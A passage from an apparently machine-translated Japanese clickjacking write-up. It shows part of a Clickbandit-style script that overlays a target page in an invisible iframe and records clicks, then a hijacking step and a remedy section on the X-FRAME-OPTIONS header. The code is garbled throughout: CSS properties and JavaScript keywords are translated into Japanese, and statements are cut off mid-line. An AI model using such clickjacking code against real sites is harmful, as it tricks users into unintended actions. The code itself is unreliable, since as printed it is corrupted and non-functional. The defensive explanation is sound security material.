css += '.btn:hover {';
css += '背景: #ffddba;';
css += '背景画像: -webkit-linear-gradient(top, #ffddba, #e06228);';
css += '背景画像: -moz-linear-gradient(top, #ffddba, #e06228);';
css += '背景画像: -ms-linear-gradient(top, #ffddba, #e06228);';
css += '背景画像: -o-linear-gradient(top, #ffddba, #e06228);';
css += '背景画像: 線形グラデーション(下へ、
css += 'テキスト装飾: なし;';
css += '}';
css += 'h1 {';
css += 'カラー:#585A5C;';
css += 'マージン:0;パディング:0;';
css += 'margin-top:10px;';
css += 'margin-left:10px;';
css += 'font-size:22pt;';
css += 'border:none;';
css += '}';
css += 'h1スパン{';
css += 'カラー:#f4983b;';
css += '}';
CSSを返す;
}
function createStyles(doc, node) { var css =generateCssString(), style = doc.
style.appendChild(doc.createTextNode(css));
ノード.appendChild(スタイル); 関数ready() { var iframe = document.createElement('iframe')
; if(location.protocol === 'data:') { return false; 幅 = getDocWidth(ドキュメント); 高さ = getDocHeight(ドキュメント); 削除Nodes(document.body); disableStyles(); createStyles(document, document.body); createMenu(createHeader(document, document.body)); iframe.style.width = 幅 + 'px'; iframe.style.height = 高さ + 'px'; iframe.style。
iframe.frameborder = 0;
iframe.scrolling = 'いいえ';
iframe.style.border = 'なし';
iframe.id = 'clickbandit_frame';
document.body.appendChild(iframe);
iframe.onload = function() { win = this.contentWindow; doc = win.document; interceptClicks(); }; window.clickbandit = {開始: 開始、モード: '記録'、終了: 終了、バージョン: "1.0.5"、disableClickActions: false、サンドボックス: false}; window.addEventListener('DOMContentLoaded'、準備完了、false); if(ドキュメント。 readyState === 'complete') { ready(); } }();
6) 「開始」をクリックし、ページ上のいくつかの機能モジュールをクリックして「終了」をクリックすると、ページがハイジャックされ
3. 修理のご提案
X-FRAME-OPTIONS は、これまでで最も信頼性の高い方法です。X-FRAME-OPTIONS は Microsoft によって提案された http ヘッダーであり、iframe ネストを使用したクリックジャッキング攻撃を防御するために特に使用されます。また、IE8、Firefox3.6、Chrome4 以降のバージョンでも十分にサポートされています。
このヘッダーには 3 つの値があります。
DENY: ロードするドメインを拒否します
。 SAMEORIGIN: 同じオリジン ドメインでのロードを許可します。
ALLOW-FROM: フレームのロードを許可するページの場所を定義できます。